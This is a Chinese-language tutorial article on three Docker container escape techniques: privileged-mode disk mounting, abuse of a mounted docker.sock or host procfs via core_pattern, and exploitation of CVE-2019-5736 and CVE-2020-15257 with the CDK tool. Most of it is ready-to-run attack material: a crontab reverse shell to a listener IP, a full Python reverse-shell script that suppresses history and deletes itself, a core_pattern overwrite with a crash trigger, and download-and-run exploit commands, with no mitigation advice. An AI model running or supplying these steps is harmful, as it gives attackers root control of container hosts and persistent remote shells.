三种Docker逃逸技术

发布时间:2026/9/27 10:24:25

三种Docker逃逸技术
本文详细介绍了判断Docker容器环境的方法并系统阐述了三种主要的Docker逃逸技术特权模式逃逸、危险挂载逃逸以及利用Docker自身漏洞逃逸。文章通过具体的命令操作和原理说明展示了从检测到实施逃逸的完整过程。1.判断Docker容器环境通过检查根目录下是否存在.dockerenv文件来判断当前是否处于Docker容器中。使用ls -alh命令若出现.dockerenv文件则确定在容器内。ls -alh2.特权模式逃逸2.1特权模式判断使用fdisk -l命令若成功列出磁盘信息则可能处于特权模式若出现多个Permission denied则可能为非特权模式。通过检查/proc/self/status文件内容使用egrep检索特定字符序列如0000003fffffffff或0000001fffffffff来精确判断是否为特权模式。cat /proc/self/status | egrep -qi 0000003fffffffff|0000001fffffffff echo Is privileged mode || echo Not privileged mode2.2逃逸实施步骤(1)在确认特权模式后创建目录如/test并将宿主机磁盘如/dev/sda1挂载到该目录。mkdir /test mount /dev/sda1 /test(2)通过向挂载的宿主机文件系统写入计划任务如修改/test/etc/crontab文件来添加反弹shell命令从而在宿主机上获得反向连接。反弹shellecho * * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 /test/etc/crontab(3)使用nc命令在攻击机开启监听等待宿主机执行计划任务后建立连接并通过检查挂载目录下的宿主机文件如/test/root来确认逃逸成功。nc -lvvp 4444ls -alh /test/root3.危险挂载逃逸3.1挂载Docker Socket逃逸原理是通过容器内挂载的/var/run/docker.sock文件与宿主机Docker守护进程通信。若容器内无/var/run/docker.sock文件可先安装Docker客户端。查看文件ls -lah /var/run/docker.sock安装docker客户端curl -fsSL https://get.docker.com/ | sh2.利用Docker命令如docker run创建新容器并将宿主机根目录挂载到新容器内使用-v /:/host参数。创建新容器docker run -it -v /:/host ubuntu /bin/bash3.在新容器内使用chroot /host命令切换根目录到宿主机文件系统从而完成逃逸。切换根目录到宿主机文件系统chroot /host3.2挂载宿主机Procfs逃逸原理linux在程序崩溃时会生成一个core文件通过篡改宿主机生成core文件的内核配置文件core_pattern使得系统崩溃并自动执行x.py反弹shell写入x.py中此时我们只需要上传一个c文件并触发程序崩溃反弹shell成功确定是procfs逃逸利用容器内挂载的宿主机proc文件系统。使用find命令确认存在两个core_pattern路径容器内和宿主机。core_pattern是 Linux内核中控制‌核心转储Core Dump‌ 行为的关键配置项。当程序崩溃如发生段错误 Segmentation Fault时操作系统会生成一个包含进程内存快照的文件即 core 文件。core_pattern 决定了这个 core 文件‌存储在哪里‌以及‌如何命名‌。/proc/sys/kernel/core_pattern宿主机配置项/host/proc/sys/kernel/core_pattern将宿主机配置项挂载到容器环境容器在宿主机的真实存储路径。通过cat /proc/mounts | grep workdir命令寻找容器在宿主机的真实存储路径如Overlay2的工作目录在容器内创建包含反弹shell代码的Python脚本如/tmp/.x.py并赋予执行权限chmod x /tmp/.x.py。cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost xx.xx.xx.xxlport xxxxdef main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF篡改宿主机/host/proc/sys/kernel/core_pattern的core_pattern配置将其指向容器内的恶意脚本路径。echo -e |/var/lib/docker/overlay2/123abc789def/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern-e 参数允许解释反斜杠转义字符。|‌最关键的部分‌。在 core_pattern中如果值以管道符 | 开头内核会将崩溃进程的 core dump 数据通过标准输入stdin传递给紧随其后的程序而不是保存为文件。‌该程序将以 root 权限执行‌。创建并执行一个会引起崩溃的C程序如/tmp/x.c触发核心转储机制从而执行恶意脚本使攻击机获得宿主机反弹shell。cat /tmp/x.c EOF#include stdio.hint main() {int *p; // 未初始化// 错误p 指向随机地址解引用导致非法访问*p 42;return 0;}EOF攻击机开始监听nc -lvvp 4444执行引起崩溃的代码./x逃逸成功4.Docker自身漏洞逃逸CVE-2020-15257CVE-2019-5736PoC地址https://github.com/Frichetten/CVE-2019-5736-PoC.gitCVE-2020-15257poc工具CDK云安全自动化渗透框架参考地址http://github.com/cdk-team/CDK/wiki/CDK-Home-CN1漏洞原理。CVE-2020-15257 是 containerd 组件中的一个容器逃逸漏洞。该漏洞允许攻击者在特定条件下通过访问containerd-shim的 API 套接字在宿主机上以 root 权限执行任意命令从而完全控制宿主机。主要原理containerd-shim 用于管理容器生命进程它通过抽象 Unix 域套接字Abstract Unix Domain Socket暴露 API。在旧版本中该套接字的访问控制仅验证连接进程的有效 UID 是否为 0root而未严格限制网络命名空间。当容器使用 --nethost模式启动时容器与宿主机共享网络命名空间使得容器内的 root 用户可以直接访问宿主机的 containerd-shim API 套接字。2漏洞利用前提。要成功利用此漏洞必须同时满足以下三个条件一是‌Containerd 版本过低‌containerd 版本低于 1.3.9 或 1.4.3。二是‌容器使用主机网络‌容器启动时使用了--nethost(Docker) 或hostNetwork: true(Kubernetes)导致容器与宿主机共享网络命名空间。三是‌容器内为 Root 用户‌容器内的进程以 UID 0 (root) 运行。如果容器内是非 root 用户则无法通过 UID 验证。3漏洞利用下载CDK工具wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_linux_amd64chmod x cdk_linux_amd64上传至容器环境docker cp cdk_linux_amd64 vuln-container:/tmp/docker exec -it vuln-container /bin/bashcd /tmp执行漏洞利用程序# 语法: ./cdk run shim-pwn attack-ip port./cdk_linux_amd64 run shim-pwn 192.168.1.100 4444

相关新闻

电芯热管理联合仿真:AMESIM与STAR-CCM+实践

电芯热管理联合仿真:AMESIM与STAR-CCM+实践

2026/8/22 22:51:03

1. 为什么需要联合仿真:电芯热管理的挑战 在新能源电池系统开发中,电芯的热行为仿真一直是个棘手的难题。我经手过的几个动力电池项目中,团队最初尝试用单一仿真工具时总会遇到这样的困境:要么能准确计算电芯内部产热但无法模拟外…

乐高漫威抽抽乐阿加莎人仔识别与收藏全攻略

乐高漫威抽抽乐阿加莎人仔识别与收藏全攻略

2026/8/22 22:51:03

在玩具收藏和开箱分享领域,乐高漫威抽抽乐系列因其盲盒属性和热门IP角色而备受关注。其中,阿加莎哈克尼斯(Agatha Harkness)作为漫威宇宙中的经典女巫角色,其乐高人仔更是系列中的亮点之一。本文将围绕如何识别、获取并…

Q-learning算法实战:从零构建AI迷宫寻路智能体

Q-learning算法实战:从零构建AI迷宫寻路智能体

2026/8/31 6:14:26

1. 项目概述:当AI学会“试错” 几年前,我第一次接触强化学习时,被一个简单的想法震撼了:一个完全不懂迷宫规则的智能体,仅凭“尝试”和“奖励”,最终能自己找到出口。这听起来像科幻情节,但用Q-…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/26 19:14:12

aclmdlAddDatasetBuffer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/27 1:30:29

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/9/27 1:30:37

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/9/27 1:30:35

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/9/27 1:30:34

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/9/26 16:36:51

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…

远程协作的工作台整理

远程协作的工作台整理

2026/9/26 14:29:04

远程协作的工作台整理远程协作的核心不是再加一个工具,而是让交接信息足够完整。异步任务要写明目标、输入位置、完成标准和需要决策的人。 工作台的最小配置 将日程、待办、代码和沟通入口收拢到少数固定位置;通知按紧急程度分层。工作台不需要模仿办公…

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

2026/9/26 13:57:22

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

2026/9/26 23:35:16

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…